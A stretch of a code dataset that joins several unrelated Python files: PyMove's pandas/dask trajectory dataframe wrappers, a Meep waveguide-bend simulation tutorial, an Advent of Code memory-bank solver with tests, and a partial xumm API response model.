operation = begin_operation('sample')\n _sample = self._data.sample(\n n, frac, replace, weights, random_state, axis\n )\n _sample = PandasMoveDataFrame(data=_sample)\n self.last_operation = end_operation(operation)\n\n return _sample\n\n def isin(self, values):\n \"\"\"\n Determines whether each element in the DataFrame is contained in values.\n\n values : iterable, Series, DataFrame or dict\n The result will only be true at a location if all the labels match.\n If values is a Series, that'srs the index.\n If values is a dict, the keys must be the\n column names, which must match.\n If values is a DataFrame, then both the\n index and column labels must match.\n\n Returns\n -------\n DataFrame:\n DataFrame of booleans showing whether\n each element in the DataFrame is contained in values\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.isin.html\n\n \"\"\"\n\n if isinstance(values, PandasMoveDataFrame):\n values = values._data\n\n operation = begin_operation('isin')\n _isin = self._data.isin(values)\n self.last_operation = end_operation(operation)\n\n return _isin\n\n def append(\n self, other, ignore_index=False, verify_integrity=False, sort=None\n ):\n \"\"\"\n Append rows of other to the end of caller, returning a new object.\n Columns in other that are not in the caller are added as new columns.\n\n Parameters\n ----------\n other : DataFrame or Series/dict-like object, or list of these\n The data to append.\n ignore_index : bool, optional, default False\n If True, do not use the index labels.\n verify_integrity : bool, optional, default False\n If True, raise ValueError on creating index with duplicates.\n sort : bool, optional, default None\n Sort columns if the columns of self and other are not aligned.\n The default sorting is deprecated and will\n change to not-sorting in a future version of pandas.\n Explicitly pass sort=True to silence the warning and sort.\n Explicitly pass sort=False to silence the warning and not sort.\n\n Returns\n -------\n PandasMoveDataFrame\n A dataframe containing rows from both the caller and `other`.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.append.html\n\n \"\"\"\n\n operation = begin_operation('append')\n\n if isinstance(other, PandasMoveDataFrame):\n other = other._data\n\n _append = self._data.append(\n other, ignore_index, verify_integrity, sort\n )\n _append = PandasMoveDataFrame(data=_append)\n self.last_operation = end_operation(operation)\n\n return _append\n\n def join(\n self, other, on=None, how='left', lsuffix='', rsuffix='', sort=False\n ):\n \"\"\"\n Join columns of other, returning a new object.\n\n Join columns with `other` PandasMoveDataFrame either on index or\n on a key column. Efficiently join multiple DataFrame objects\n by index at once by passing a list.\n\n Parameters\n ----------\n other : DataFrame, Series, or list of DataFrame\n Index should be similar to one of the columns in this one. If a\n Series is passed, its name attribute must be set, and that will be\n used as the column name in the resulting joined DataFrame.\n on : str, list of str, or array-like, optional\n Column or index level name(srs) in the caller to join on the index\n in `other`, otherwise joins index-on-index. If multiple\n values given, the `other` DataFrame must have a MultiIndex. Can\n pass an array as the join key if it is not already contained in\n the calling DataFrame. Like an Excel VLOOKUP operation.\n how : {'left', 'right', 'outer', 'inner'}, default 'left'\n How to handle the operation of the two objects.\n\n * left: use calling frame'srs index (or column if on is specified)\n * right: use `other`'srs index.\n * outer: form union of calling frame'srs index (or column if on is\n specified) with `other`'srs index, and sort it.\n lexicographically.\n * inner: form intersection of calling frame'srs index (or column if\n on is specified) with `other`'srs index, preserving the order\n of the calling'srs one.\n lsuffix : str, default ''\n Suffix to use from left frame'srs overlapping columns.\n rsuffix : str, default ''\n Suffix to use from right frame'srs overlapping columns.\n sort : bool, default False\n Order result DataFrame lexicographically by the join key. If False,\n the order of the join key depends on the join type (how keyword).\n\n Returns\n -------\n PandasMoveDataFrame\n A dataframe containing columns from both the caller and `other`.\n\n Notes\n -----\n Parameters `on`, `lsuffix`, and `rsuffix` are not supported when\n passing a list of `DataFrame` objects.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.join.html\n\n \"\"\"\n\n operation = begin_operation('join')\n\n if isinstance(other, PandasMoveDataFrame):\n other = other._data\n\n _join = self._data.join(other, on, how, lsuffix, rsuffix, sort)\n _join = PandasMoveDataFrame(data=_join)\n self.last_operation = end_operation(operation)\n\n return _join\n\n def merge(\n self,\n right,\n how='inner',\n on=None,\n left_on=None,\n right_on=None,\n left_index=False,\n right_index=False,\n sort=False,\n suffixes=('_x', '_y'),\n copy=True,\n indicator=False,\n validate=None\n ):\n \"\"\"\n Merge DataFrame or named Series objects with a database-style join.\n\n The join is done on columns or indexes. If joining columns on columns,\n the DataFrame indexes will be ignored. Otherwise if joining indexes\n on indexes or indexes on a column or columns, the index will be passed on.\n\n Parameters\n ----------\n right: DataFrame or named Series\n Object to merge with.\n how: {‘left’, ‘right’, ‘outer’, ‘inner’}, default ‘inner’\n Type of merge to be performed.\n left: use only keys from left frame, similar to a SQL left outer join;\n preserve key order.\n right: use only keys from right frame, similar to a SQL right outer join;\n preserve key order.\n outer: use union of keys from both frames, similar to a SQL full outer join;\n sort keys lexicographically.\n inner: use intersection of keys from both frames, similar to a SQL inner join;\n preserve the order of the left keys.\n on: label or list\n Column or index level names to join on. These must be found in both\n DataFrames. If on is None and not merging on indexes then this defaults\n to the intersection of the columns in both DataFrames.\n left_on: label or list, or array-like\n Column or index level names to join on in the left DataFrame. Can\n also be an array or list of arrays of the length of the left DataFrame.\n These arrays are treated as if they are columns.\n right_on: label or list, or array-like\n Column or index level names to join on in the right DataFrame.\n Can also be an array or list of arrays of the length of the right DataFrame.\n These arrays are treated as if they are columns.\n left_index: bool, default False\n Use the index from the left DataFrame as the join key(s).\n If it is a MultiIndex, the number of keys in the other DataFrame\n (either the index or a number of columns) must match the number of levels.\n right_index: bool, default False\n Use the index from the right DataFrame as the join key.\n Same caveats as left_index.\n sort: bool, default False\n Sort the join keys lexicographically in the result DataFrame.\n If False, the order of the join keys depends on the join type (how keyword).\n suffixes: tuple of (str, str), default (‘_x’, ‘_y’)\n Suffix to apply to overlapping column names in the left and right side,\n respectively. To raise an exception on overlapping columns use (False, False)\n copy: bool, default True\n If False, avoid copy if possible.\n indicator: bool or str, default False\n If True, adds a column to output DataFrame called '_merge' with\n information on the source of each row. If string, column with\n information on source of each row will be added to output DataFrame,\n and column will be named value of string. Information column is\n Categorical-type and takes on a value of 'left_only' for observations\n whose merge key only appears in ‘left’ DataFrame, 'right_only' for\n observations whose merge key only appears in ‘right’ DataFrame,\n and 'both' if the observation’s merge key is found in both.\n validate: str, optional\n If specified, checks if merge is of specified type.\n 'one_to_one' or '1:1': check if merge keys are unique in both\n left and right datasets.\n 'one_to_many' or '1:m': check if merge keys are unique in left dataset.\n 'many_to_one' or 'm:1': check if merge keys are unique in right dataset.\n 'many_to_many' or 'm:m': allowed, but does not result in checks.\n\n Returns\n -------\n PandasMoveDataFrame\n A DataFrame of the two merged objects.\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.merge.html?highlight=merge#pandas.DataFrame.merge\n\n \"\"\"\n\n operation = begin_operation('merge')\n\n if isinstance(right, PandasMoveDataFrame):\n right = right._data\n\n _merge = self._data.merge(\n right, how, on, left_on, right_on, left_index, right_index, sort,\n suffixes, copy, indicator, validate\n )\n\n if copy:\n _merge = PandasMoveDataFrame(data=_merge)\n self.last_operation = end_operation(operation)\n\n return _merge\n\n def nunique(self, axis=0, dropna=True):\n \"\"\"\n Count distinct observations over requested axis.\n\n Parameters\n ----------\n axis : 0 or 'index', 1 or 'columns', None, optional, default 0\n The axis to use. 0 or 'index' for row-wise,\n 1 or 'columns' for column-wise.\n dropna : bool, optional (default True)\n Don't include NaN in the counts.\n\n Returns\n -------\n Series\n Return Series with number of distinct observations\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.unique.html\n\n \"\"\"\n\n operation = begin_operation('nunique')\n _nunique = self._data.nunique(axis, dropna)\n self.last_operation = end_operation(operation)\n\n return _nunique\n\n def write_file(self, file_name, separator=','):\n \"\"\"\n Write trajectory data to a new file.\n\n Parameters\n ----------\n file_name : str.\n Represents the filename.\n separator : str, optional, default ','.\n Represents the information separator in a new file.\n\n \"\"\"\n\n operation = begin_operation('write_file')\n self._data.to_csv(\n file_name, sep=separator, encoding='utf-8', index=False\n )\n self.last_operation = end_operation(operation)\n\n def to_csv(self, file_name, sep=',', index=True, encoding=None):\n \"\"\"\n Write object to a comma-separated values (csv) file.\n\n Parameters\n ----------\n file_name: str\n File path or object\n sep: str\n str of length 1. Field delimiter for the output file.\n index: bool\n Boolean indicating whether to save row indexes\n encoding: str, optional (None default)\n A str representing the encoding to use in the output file,\n defaults to 'utf-8'\n\n References\n ----------\n https://pandas.pydata.org/pandas-docs/stable/reference/api/pandas.DataFrame.to_csv.html\n\n \"\"\"\n\n operation = begin_operation('to_csv')\n self._data.to_csv(file_name, sep=sep, index=index, encoding=encoding)\n self.last_operation = end_operation(operation)\n\n def convert_to(self, new_type):\n \"\"\"\n Convert an object from one type to another specified by the user.\n\n Parameters\n ----------\n new_type: 'pandas' or 'dask'\n The type for which the object will be converted.\n\n Returns\n -------\n A subclass of MoveDataFrameAbstractModel\n The converted object.\n\n \"\"\"\n\n operation = begin_operation('convet_to')\n\n if new_type == TYPE_DASK:\n _dask = DaskMoveDataFrame(\n self._data,\n latitude=LATITUDE,\n longitude=LONGITUDE,\n datetime=DATETIME,\n traj_id=TRAJ_ID,\n n_partitions=1,\n )\n self.last_operation = end_operation(operation)\n return _dask\n elif new_type == TYPE_PANDAS:\n self.last_operation = end_operation(operation)\n return self\n\n def get_type(self):\n \"\"\"\n Returns the type of the object.\n\n Returns\n -------\n str\n A string representing the type of the object.\n \"\"\"\n operation = begin_operation('get_type')\n type_ = self._type\n self.last_operation = end_operation(operation)\n return type_\n\n\nclass DaskMoveDataFrame(DataFrame, MoveDataFrameAbstractModel):\n def __init__(\n self,\n data,\n latitude=LATITUDE,\n longitude=LONGITUDE,\n datetime=DATETIME,\n traj_id=TRAJ_ID,\n n_partitions=1,\n ):\n \"\"\"\n Checks whether past data has 'lat', 'lon', 'datetime' columns, and\n renames it with the PyMove lib standard. After starts the attributes of\n the class.\n\n - self._data : Represents trajectory data.\n - self._type : Represents the type of layer below the data structure.\n - self.last_operation : Represents the last operation performed.\n\n Parameters\n ----------\n data : dict, list, numpy array or pandas.core.DataFrame\n Input trajectory data.\n latitude : str, optional, default 'lat'.\n Represents column name latitude.\n longitude : str, optional, default 'lon'.\n Represents column name longitude.\n datetime : str, optional, default 'datetime'.\n Represents column name datetime.\n traj_id : str, optional, default 'id'.\n Represents column name trajectory id.\n\n Raises\n ------\n AttributeError\n If the data doesn't contains one of the columns\n LATITUDE, LONGITUDE, DATETIME\n\n \"\"\"\n\n if isinstance(data, dict):\n data = pd.DataFrame.from_dict(data)\n elif (\n (isinstance(data, list) or isinstance(data, np.ndarray))\n and len(data) >= 4\n ):\n zip_list = [LATITUDE, LONGITUDE, DATETIME, TRAJ_ID]\n for i in range(len(data[0])):\n try:\n zip_list[i] = zip_list[i]\n except KeyError:\n zip_list.append(i)\n data = pd.DataFrame(data, columns=zip_list)\n\n mapping_columns = format_labels(traj_id, latitude, longitude, datetime)\n dsk = data.rename(columns=mapping_columns)\n\n if MoveDataFrame.has_columns(dsk):\n MoveDataFrame.validate_move_data_frame(dsk)\n self._data = dask.dataframe.from_pandas(\n dsk, npartitions=n_partitions\n )\n self._type = TYPE_DASK\n self.last_operation = None\n else:\n raise AttributeError(\n 'Couldn\\'t instantiate MoveDataFrame because data has missing columns.'\n )\n\n @property\n def lat(self):\n \"\"\"Checks for the 'lat' column and returns its value.\"\"\"\n if LATITUDE not in self.columns:\n raise AttributeError(\n \"The MoveDataFrame does not contain the column '%s.'\"\n % LATITUDE\n )\n return self._data[LATITUDE]\n\n @property\n def lng(self):\n \"\"\"Checks for the 'lon' column and returns its value.\"\"\"\n if LONGITUDE not in self.columns:\n raise AttributeError(\n \"The MoveDataFrame does not contain the column '%s.'\"\n % LONGITUDE\n )\n return self._data[LONGITUDE]\n\n @property\n def datetime(self):\n \"\"\"Checks for the 'datetime' column and returns its value.\"\"\"\n if DATETIME not in self.columns:\n raise AttributeError(\n \"The MoveDataFrame does not contain the column '%s.'\"\n % DATETIME\n )\n return self._data[DATETIME]\n\n @property\n def loc(self):\n \"\"\"Access a group of rows and columns by label(srs) or a boolean array.\"\"\"\n raise NotImplementedError('To be implemented')\n\n @property\n def iloc(self):\n \"\"\"Purely integer-location based indexing for selection by position.\"\"\"\n raise NotImplementedError('To be implemented')\n\n @property\n def at(self):\n \"\"\"Access a single value for a row/column label pair.\"\"\"\n raise NotImplementedError('To be implemented')\n\n @property\n def values(self):\n \"\"\"Return a Numpy representation of the DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n @property\n def columns(self):\n \"\"\"The column labels of the DataFrame.\"\"\"\n return self._data.columns\n\n @property\n def index(self):\n \"\"\"The row labels of the DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n @property\n def dtypes(self):\n \"\"\"Return the dtypes in the DataFrame.\"\"\"\n return self._data.dtypes\n\n @property\n def shape(self):\n \"\"\"Return a tuple representing the dimensionality of the DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def len(self):\n \"\"\"Returns the length/row numbers in trajectory data.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def unique(self):\n \"\"\"Return unique values of Series object.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def head(self, n=5, npartitions=1, compute=True):\n \"\"\"\n Return the first n rows.\n\n This function returns the first n rows for the object based on position.\n It is useful for quickly testing if\n your object has the right type of data in it.\n\n Parameters\n ----------\n n : int, optional, default 5\n Number of rows to select.\n npartitions : int, optional, default 1.\n Represents the number partitions.\n compute : bool, optional, default True.\n ?\n\n Returns\n -------\n same type as caller\n The first n rows of the caller object.\n\n \"\"\"\n return self._data.head(n, npartitions, compute)\n\n def tail(self, n=5, npartitions=1, compute=True):\n \"\"\"\n Return the last n rows.\n\n This function returns the last n rows for the object based on position.\n It is useful for quickly testing if\n your object has the right type of data in it.\n\n Parameters\n ----------\n n : int, optional, default 5\n Number of rows to select.\n npartitions : int, optional, default 1.\n Represents the number partitions.\n compute : bool, optional, default True.\n ?\n\n Returns\n -------\n same type as caller\n The last n rows of the caller object.\n\n \"\"\"\n return self._data.tail(n, npartitions, compute)\n\n def get_users_number(self):\n \"\"\"Check and return number of users in trajectory data.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def to_numpy(self):\n \"\"\"Converts trajectory data to numpy array format.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def to_dict(self):\n \"\"\"Converts trajectory data to dict format.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def to_grid(self):\n \"\"\"Converts trajectory data to grid format.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def to_data_frame(self):\n \"\"\"\n Converts trajectory data to DataFrame format.\n\n Returns\n -------\n dask.dataframe.DataFrame\n Represents the trajectory in DataFrame format.\n\n \"\"\"\n\n return self._data\n\n def info(self):\n \"\"\"Print a concise summary of a DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def describe(self):\n \"\"\"Generate descriptive statistics.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def memory_usage(self):\n \"\"\"Return the memory usage of each column in bytes.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def copy(self):\n \"\"\"Make a copy of this object’srs indices and data.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_tid_based_on_id_datetime(self):\n \"\"\"Create or update trajectory id based on id e datetime.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_date_features(self):\n \"\"\"Create or update date feature.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_hour_features(self):\n \"\"\"Create or update hour feature.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_day_of_the_week_features(self):\n \"\"\"Create or update a feature day of the week from datatime.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_weekend_features(self):\n \"\"\"Create or update the feature weekend to the dataframe.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_time_of_day_features(self):\n \"\"\"Create a feature time of day or period from datatime.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_datetime_in_format_cyclical(self):\n \"\"\"Create or update column with cyclical datetime feature.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_dist_time_speed_features(self):\n \"\"\"Creates features of distance, time and speed between points.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_dist_features(self):\n \"\"\"Create the three distance in meters to an GPS point P.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_time_features(self):\n \"\"\"Create the three time in seconds to an GPS point P.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_speed_features(self):\n \"\"\"Create the three speed in meters by seconds to an GPS point P.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def generate_move_and_stop_by_radius(self):\n \"\"\"Create or update column with move and stop points by radius.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def time_interval(self):\n \"\"\"Get time difference between max and min datetime in trajectory.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def get_bbox(self):\n \"\"\"Creates the bounding box of the trajectories.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def plot_all_features(self):\n \"\"\"Generate a visualization for each column that type is equal dtype.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def plot_trajs(self):\n \"\"\"Generate a visualization that show trajectories.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def plot_traj_id(self):\n \"\"\"Generate a visualization for a trajectory with the specified tid.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def show_trajectories_info(self):\n \"\"\"Show dataset information from dataframe.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def min(self, axis=None, skipna=True, split_every=False, out=None):\n \"\"\"\n Return the minimum of the values for the requested axis.\n\n Parameters\n ----------\n axis: int, optional, default None, {index (0), columns (1)}.\n Axis for the function to be applied on.\n skipna: bool, optional, default None.\n Exclude NA/null values when computing the result.\n split_every:\n ?\n out:\n ?\n\n Returns\n -------\n max:Series or DataFrame (if level specified)\n The minimum values for the request axis.\n\n References\n ----------\n https://docs.dask.org/en/latest/dataframe-api.html#dask.dataframe.DataFrame.min\n\n \"\"\"\n\n return self._data.min(axis, skipna, split_every, out)\n\n def max(self, axis=None, skipna=True, split_every=False, out=None):\n \"\"\"\n Return the maximum of the values for the requested axis..\n\n Parameters\n ----------\n axis: int, optional, default None, {index (0), columns (1)}.\n Axis for the function to be applied on.\n skipna: bool, optional, default None.\n Exclude NA/null values when computing the result.\n split_every:\n ?\n out:\n ?\n\n Returns\n -------\n max:Series or DataFrame (if level specified)\n The maximum values for the request axis.\n\n References\n ----------\n https://docs.dask.org/en/latest/dataframe-api.html#dask.dataframe.DataFrame.max\n\n \"\"\"\n\n return self._data.max(axis, skipna, split_every, out)\n\n def count(self):\n \"\"\"Counts the non-NA cells for each column or row.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def groupby(self, by=None, **kwargs):\n \"\"\"\n Groups dask DataFrame using a mapper or by a Series of columns.\n\n Parameters\n ----------\n by : mapping, function, label, or list of labels, optional, default None\n Used to determine the groups for the groupby.\n **kwargs\n Optional, only accepts keyword argument 'mutated'\n and is passed to groupby.\n\n Returns\n -------\n DataFrameGroupBy:\n Returns groupby object that contains information about the groups.\n\n References\n ----------\n https://docs.dask.org/en/latest/dataframe-api.html#dask.dataframe.DataFrame.groupby\n\n \"\"\"\n\n return self._data.groupby(by)\n\n def plot(self):\n \"\"\"Plot the data of the dask DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def select_dtypes(self):\n \"\"\"Returns a subset of the columns based on the column dtypes.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def astype(self):\n \"\"\"Casts a dask object to a specified dtype.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def sort_values(self):\n \"\"\"Sorts the values of the dask DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def reset_index(self):\n \"\"\"Resets the dask DataFrame'srs index, and use the default one.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def set_index(self):\n \"\"\"Set of row labels using one or more existing columns or arrays.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def drop(self):\n \"\"\"Drops specified rows or columns of the dask Dataframe.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def duplicated(self):\n \"\"\"Returns boolean Series denoting duplicate rows.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def drop_duplicates(self):\n \"\"\"Removes duplicated rows from the data.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def shift(self):\n \"\"\"Shifts by desired number of periods with an optional time freq.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def all(self):\n \"\"\"Indicates if all elements are True, potentially over an axis.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def any(self):\n \"\"\"Indicates if any element is True, potentially over an axis.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def isna(self):\n \"\"\"Detect missing values.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def fillna(self):\n \"\"\"Fills missing data in the dask DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def dropna(self):\n \"\"\"Removes missing data from dask DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def sample(self):\n \"\"\"Samples data from the dask DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def isin(self):\n \"\"\"Determines whether each element is contained in values.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def append(self):\n \"\"\"Append rows of other to the end of caller, returning a new object.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def join(self):\n \"\"\"Join columns of another DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def merge(self):\n \"\"\"Merge columns of another DataFrame.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def nunique(self):\n \"\"\"Count distinct observations over requested axis.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def write_file(self):\n \"\"\"Write trajectory data to a new file.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def to_csv(self):\n \"\"\"Write object to a comma-separated values (csv) file.\"\"\"\n raise NotImplementedError('To be implemented')\n\n def convert_to(self, new_type):\n \"\"\"\n Convert an object from one type to another specified by the user.\n\n Parameters\n ----------\n new_type: 'pandas' or 'dask'\n The type for which the object will be converted.\n\n Returns\n -------\n A subclass of MoveDataFrameAbstractModel\n The converted object.\n\n \"\"\"\n\n if new_type == TYPE_DASK:\n return self\n elif new_type == TYPE_PANDAS:\n df_pandas = self._data.compute()\n return PandasMoveDataFrame(\n df_pandas,\n latitude=LATITUDE,\n longitude=LONGITUDE,\n datetime=DATETIME,\n traj_id=TRAJ_ID,\n )\n\n def get_type(self):\n \"\"\"\n Returns the type of the object.\n\n Returns\n -------\n str\n A string representing the type of the object.\n\n \"\"\"\n\n return self._type\n","sub_path":"pymove/core/dataframe.py","file_name":"dataframe.py","file_ext":"py","file_size_in_byte":135238,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"501963286","text":"# From the Meep tutorial: transmission around a 90-degree waveguide bend in 2d.\nfrom __future__ import division\n\nimport argparse\nimport meep as mp\nimport time\n\ndef main(args):\n sx = 16 # size of cell in X direction\n sy = 32 # size of cell in Y direction\n cell = mp.Vector3(sx, sy, 0)\n\n pad = 4 # padding distance between waveguide and cell edge\n w = 1 # width of waveguide\n\n wvg_ycen = -0.5 * (sy - w - (2 * pad)) # y center of horiz. wvg\n wvg_xcen = 0.5 * (sx - w - (2 * pad)) # x center of vert. wvg\n\n if args.no_bend:\n geometry = [mp.Block(mp.Vector3(mp.inf, w, mp.inf), center=mp.Vector3(0, wvg_ycen),\n material=mp.Medium(epsilon=12))]\n else:\n geometry = [mp.Block(mp.Vector3(sx - pad, w, mp.inf), center=mp.Vector3(-0.5 * pad, wvg_ycen),\n material=mp.Medium(epsilon=12)),\n mp.Block(mp.Vector3(w, sy - pad, mp.inf), center=mp.Vector3(wvg_xcen, 0.5 * pad),\n material=mp.Medium(epsilon=12))]\n\n fcen = 0.15 # pulse center frequency\n df = 0.1 # pulse width (in frequency)\n\n sources = [mp.Source(mp.GaussianSource(fcen, fwidth=df), component=mp.Ez,\n center=mp.Vector3(1 + (-0.5 * sx), wvg_ycen), size=mp.Vector3(0, w))]\n\n pml_layers = [mp.PML(1.0)]\n resolution = 10\n\n nfreq = 100 # number of frequencies at which to compute flux\n\n sim = mp.Simulation(cell_size=cell,\n boundary_layers=pml_layers,\n geometry=geometry,\n sources=sources,\n resolution=resolution)\n\n if args.no_bend:\n fr = mp.FluxRegion(center=mp.Vector3((sx / 2) - 1.5, wvg_ycen), size=mp.Vector3(0, w * 2))\n else:\n fr = mp.FluxRegion(center=mp.Vector3(wvg_xcen, (sy / 2) - 1.5), size=mp.Vector3(w * 2, 0))\n\n trans = sim.add_flux(fcen, df, nfreq, fr)\n\n refl_fr = mp.FluxRegion(center=mp.Vector3((-0.5 * sx) + 1.5, wvg_ycen),\n size=mp.Vector3(0, w * 2))\n\n # reflected flux\n refl = sim.add_flux(fcen, df, nfreq, refl_fr)\n\n # for normal run, load negated fields to subtract incident from refl. fields\n if not args.no_bend:\n sim.load_minus_flux('refl-flux', refl)\n\n if args.no_bend:\n pt = mp.Vector3((sx / 2) - 1.5, wvg_ycen)\n else:\n pt = mp.Vector3(wvg_xcen, (sy / 2) - 1.5)\n\n sim.run(mp.at_beginning(mp.output_epsilon),\n until_after_sources=mp.stop_when_fields_decayed(50, mp.Ez, pt, 1e-3))\n\n # for normalization run, save flux fields for refl. plane\n if args.no_bend:\n sim.save_flux('refl-flux', refl)\n\n sim.display_fluxes(trans, refl)\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('-n', '--no_bend', action='store_true', default=False,\n help=\"Straight waveguide without bend.\")\n args = parser.parse_args()\n start_time = time.time()\n main(args)\n print(\"--- %s seconds --- \" %(time.time() - start_time))\n","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"369269394","text":"# pylint: disable=missing-docstring\nimport unittest\n\ndef solve(fn_input):\n banks = fn_input[:-1].split()\n banks = list(map(int, banks))\n store = {}\n steps = 0\n while True:\n redistribute(banks)\n steps += 1\n hash_value = generate_store_string(banks)\n if hash_value in store:\n return steps\n store[hash_value] = 1\n\ndef generate_store_string(banks):\n return ''.join(list(map(lambda x: chr(x+64), banks)))\n\ndef redistribute(banks):\n highest_bank = banks.index(max(banks))\n value_to_redistribute = banks[highest_bank]\n banks[highest_bank] = 0\n for i in range(0, value_to_redistribute):\n j = (highest_bank + i + 1) % len(banks)\n banks[j] += 1\n return banks\n\nclass UnitTest(unittest.TestCase):\n def test_solve(self):\n self.assertEqual(solve(\"0 2 7 0\\n\"), 5)\n\n def test_generate_store_string(self):\n self.assertEqual(generate_store_string([1, 2, 3, 4]), \"ABCD\")\n self.assertEqual(generate_store_string([13, 20]), \"MT\")\n\n def test_redistribute(self):\n self.assertEqual(redistribute([0, 2, 7, 0]), [2, 4, 1, 2])\n self.assertEqual(redistribute([2, 4, 1, 2]), [3, 1, 2, 3])\n self.assertEqual(redistribute([3, 1, 2, 3]), [0, 2, 3, 4])\n self.assertEqual(redistribute([0, 2, 3, 4]), [1, 3, 4, 1])\n self.assertEqual(redistribute([1, 3, 4, 1]), [2, 4, 1, 2])\n","sub_path":"solvers/day06a.py","file_name":"day06a.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"579266524","text":"#!/usr/bin/env python\n# coding: utf-8\n\nfrom xumm.resource import XummResource\nfrom typing import Dict\n\nfrom .storage_response import StorageResponse\n\n\nclass StorageSetResponse(XummResource):\n \"\"\"\n Attributes:\n model_types (dict): The key is attribute name\n and the value is attribute type.\n attribute_map (dict): The key is attribute name\n and the value is json key in definition.\n \"\"\"\n required = {\n 'application': True,\n 'stored': True,\n 'data': True,\n }\n\n model_types = {\n 'application': dict,\n 'stored': bool,\n 'data': dict,\n }\n\n attribute_map = {\n 'application': 'application',\n 'stored': 'stored',\n 'data': 'data',\n }\n\n def refresh_from(cls, **kwargs):\n \"\"\"Returns the dict as a model\n\n :param kwargs: A dict.\n :type: dict\n :return: The StorageSetResponse of this StorageSetResponse. # noqa: E501\n :rtype: StorageSetResponse\n \"\"\"\n cls.sanity_check(kwargs)\n cls._application = None\n cls._stored = None\n cls._data = None\n cls.application = StorageResponse(**kwargs['application'])\n cls.stored = kwargs['stored']\n cls.data = kwargs['data']\n\n @property\n def application(self) -> StorageResponse:\n \"\"\"Gets the application of this StorageSetResponse.\n\n\n :return: The application of this StorageSetResponse.\n :rtype: StorageResponse\n \"\"\"\n return self._application\n\n @application.setter\n def application(self, application: StorageResponse):\n \"\"\"Sets the application of this StorageSetResponse.\n\n\n :param application: The application of this StorageSetResponse.\n :type application: StorageResponse\n \"\"\"\n if application is None:\n raise ValueError(\"Invalid value for `application`, must not be `None`\") # noqa: E501\n\n self._application = application\n\n @property\n def stored(self) -> bool:\n \"\"\"Gets the stored of this StorageSetResponse.\n\n\n :return: The stored of this StorageSetResponse.\n :rtype: bool\n \"\"\"\n return self._stored\n\n @stored.setter\n def stored(self, stored: bool):\n \"\"\"Sets the stored of this StorageSetResponse.\n\n\n :param stored: The stored of this StorageSetResponse.\n :type stored: bool\n \"\"\"\n if stored is None:\n raise ValueError(\"Invalid value for `stored`, must not be `None`\") # noqa: E501\n\n self._stored = stored\n\n @property\n def data(self) -> Dict[str, object]:\n \"\"\"Gets the data of this StorageSetResponse.\n\n\n :return: The data of this StorageSetResponse.\n :rtype: Dict[str, object]\n \"\"\"\n return self._data\n\n @data.setter\n def data(self, data: Dict[str, object]):\n \"\"\"Sets the data of this StorageSetResponse.\n\n\n :param data: The data of this StorageSetResponse.\n :type data: Dict[str, object]\n 